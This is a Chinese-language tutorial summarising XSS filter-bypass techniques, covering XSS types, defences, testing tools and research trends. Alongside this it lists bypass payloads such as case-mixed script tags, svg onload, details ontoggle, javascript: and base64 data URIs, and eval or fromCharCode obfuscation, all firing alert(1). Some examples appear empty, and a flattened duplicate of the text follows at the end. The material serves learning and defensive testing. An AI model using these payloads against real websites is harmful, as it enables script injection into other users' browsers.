xss绕过总结
字数 1631 2025-09-01 11:25:54

XSS绕过技术全面总结

一、XSS基础概念

XSS(跨站脚本攻击)是一种将恶意脚本注入到网页中的攻击方式,当其他用户访问被注入的页面时,恶意脚本会在其浏览器中执行。

二、XSS类型

1. 反射型XSS

  • 恶意脚本作为请求的一部分发送到服务器
  • 服务器将恶意脚本包含在响应中返回给用户
  • 常见于搜索框、错误消息等场景

2. 存储型XSS

  • 恶意脚本被永久存储在服务器上
  • 每次用户访问受影响页面时都会执行
  • 常见于留言板、评论系统等

3. DOM型XSS

  • 完全在客户端发生,不涉及服务器
  • 通过修改DOM环境在客户端执行恶意代码

三、常见XSS绕过技术

1. 基本绕过技术

1.1 大小写混淆

<sCrIpT>alert(1)</ScRiPt>

1.2 使用HTML实体编码

&lt;script&gt;alert(1)&lt;/script&gt;

1.3 使用JavaScript伪协议

<a href="javascript:alert(1)">点击</a>

1.4 使用事件处理器


2. 高级绕过技术

2.1 编码绕过

  • URL编码
  • Unicode编码
  • HTML实体编码
  • Base64编码

2.2 利用SVG标签

<svg/onload=alert(1)>

2.3 利用CSS表达式(IE特有)

<div style="x:expression(alert(1))">

2.4 利用iframe标签

<iframe src="javascript:alert(1)">

2.5 利用data URI

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

3. 特殊场景绕过

3.1 绕过HTML标签过滤

  • 使用不常见的标签:<details open ontoggle=alert(1)>
  • 使用自闭合标签:``

3.2 绕过属性过滤

  • 使用无引号属性:``
  • 使用反引号:``
  • 使用换行符:``

3.3 绕过JavaScript过滤

  • 使用String.fromCharCode:alert(String.fromCharCode(88,83,83))
  • 使用eval:eval('al'+'ert(1)')
  • 使用setTimeout:setTimeout('alert(1)')

3.4 绕过CSP(内容安全策略)

  • 使用JSONP端点
  • 使用AngularJS沙箱逃逸
  • 使用不安全的CSP配置

四、防御措施

1. 输入过滤

  • 对用户输入进行严格的验证和过滤
  • 使用白名单而非黑名单

2. 输出编码

  • HTML实体编码:&lt; &gt; &amp; &quot; &#x27;
  • JavaScript编码
  • URL编码

3. 使用安全头

  • Content-Security-Policy (CSP)
  • X-XSS-Protection
  • HttpOnly cookie标志

4. 框架安全特性

  • 使用现代框架的内置XSS防护
  • React的JSX自动转义
  • Angular的模板安全

五、测试工具与方法

1. 手动测试

  • 尝试各种payload变体
  • 观察过滤和编码行为

2. 自动化工具

  • OWASP ZAP
  • Burp Suite
  • XSS Hunter

3. Payload集合

  • OWASP XSS Filter Evasion Cheat Sheet
  • PortSwigger XSS Cheat Sheet

六、实际案例

案例1:绕过简单过滤

原始输入:<script>alert(1)</script>
过滤后:alert(1)
绕过:

案例2:利用HTML5特性

<video><source onerror=alert(1)>

案例3:DOM型XSS

document.write('')

七、高级技巧

1. 盲XSS技术

  • 使用外部服务器接收数据
  • 利用DNS查询泄露信息

2. 持久化技术

  • 利用localStorage
  • 利用Service Workers

3. 组合攻击

  • XSS + CSRF
  • XSS + Clickjacking
  • XSS + SSRF

八、最新研究趋势

1. WebAssembly中的XSS

  • 通过Wasm模块执行恶意代码

2. 基于机器学习的检测绕过

  • 生成对抗性payload

3. 新型DOM污染攻击

  • 利用原型链污染

九、参考资源

  1. OWASP XSS Prevention Cheat Sheet
  2. PortSwigger XSS Research
  3. HTML5 Security Cheat Sheet
  4. Browser Security Handbook

十、总结

XSS绕过技术不断发展,防御措施也需要随之更新。安全人员需要:

  • 了解最新的XSS技术
  • 实施多层防御策略
  • 定期进行安全测试
  • 保持安全意识培训
XSS绕过技术全面总结 一、XSS基础概念 XSS(跨站脚本攻击)是一种将恶意脚本注入到网页中的攻击方式,当其他用户访问被注入的页面时,恶意脚本会在其浏览器中执行。 二、XSS类型 1. 反射型XSS 恶意脚本作为请求的一部分发送到服务器 服务器将恶意脚本包含在响应中返回给用户 常见于搜索框、错误消息等场景 2. 存储型XSS 恶意脚本被永久存储在服务器上 每次用户访问受影响页面时都会执行 常见于留言板、评论系统等 3. DOM型XSS 完全在客户端发生,不涉及服务器 通过修改DOM环境在客户端执行恶意代码 三、常见XSS绕过技术 1. 基本绕过技术 1.1 大小写混淆 1.2 使用HTML实体编码 1.3 使用JavaScript伪协议 1.4 使用事件处理器 2. 高级绕过技术 2.1 编码绕过 URL编码 Unicode编码 HTML实体编码 Base64编码 2.2 利用SVG标签 2.3 利用CSS表达式(IE特有) 2.4 利用iframe标签 2.5 利用data URI 3. 特殊场景绕过 3.1 绕过HTML标签过滤 使用不常见的标签: <details open ontoggle=alert(1)> 使用自闭合标签: `` 3.2 绕过属性过滤 使用无引号属性: `` 使用反引号: `` 使用换行符: `` 3.3 绕过JavaScript过滤 使用String.fromCharCode: alert(String.fromCharCode(88,83,83)) 使用eval: eval('al'+'ert(1)') 使用setTimeout: setTimeout('alert(1)') 3.4 绕过CSP(内容安全策略) 使用JSONP端点 使用AngularJS沙箱逃逸 使用不安全的CSP配置 四、防御措施 1. 输入过滤 对用户输入进行严格的验证和过滤 使用白名单而非黑名单 2. 输出编码 HTML实体编码: &lt; &gt; &amp; &quot; &#x27; JavaScript编码 URL编码 3. 使用安全头 Content-Security-Policy (CSP) X-XSS-Protection HttpOnly cookie标志 4. 框架安全特性 使用现代框架的内置XSS防护 React的JSX自动转义 Angular的模板安全 五、测试工具与方法 1. 手动测试 尝试各种payload变体 观察过滤和编码行为 2. 自动化工具 OWASP ZAP Burp Suite XSS Hunter 3. Payload集合 OWASP XSS Filter Evasion Cheat Sheet PortSwigger XSS Cheat Sheet 六、实际案例 案例1:绕过简单过滤 案例2:利用HTML5特性 案例3:DOM型XSS 七、高级技巧 1. 盲XSS技术 使用外部服务器接收数据 利用DNS查询泄露信息 2. 持久化技术 利用localStorage 利用Service Workers 3. 组合攻击 XSS + CSRF XSS + Clickjacking XSS + SSRF 八、最新研究趋势 1. WebAssembly中的XSS 通过Wasm模块执行恶意代码 2. 基于机器学习的检测绕过 生成对抗性payload 3. 新型DOM污染攻击 利用原型链污染 九、参考资源 OWASP XSS Prevention Cheat Sheet PortSwigger XSS Research HTML5 Security Cheat Sheet Browser Security Handbook 十、总结 XSS绕过技术不断发展,防御措施也需要随之更新。安全人员需要: 了解最新的XSS技术 实施多层防御策略 定期进行安全测试 保持安全意识培训